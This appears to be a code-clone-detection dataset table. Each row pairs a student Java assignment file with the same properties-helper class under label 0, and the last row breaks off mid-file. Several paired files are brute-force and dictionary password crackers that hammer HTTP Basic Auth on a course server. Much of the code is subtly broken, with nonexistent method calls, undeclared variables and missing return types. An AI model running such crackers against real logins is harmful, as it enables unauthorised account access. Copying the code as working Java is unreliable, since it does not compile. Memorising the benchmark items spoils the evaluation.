F1
string | F2
string | label
int64 | text_1
string | text_2
string |
|---|---|---|---|---|
203.java | 107.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: [email protected].");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
095.java | 107.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
084.java | 107.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
115.java | 107.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
233.java | 107.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
086.java | 107.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
153.java | 107.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
150.java | 107.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
194.java | 107.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
082.java | 107.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
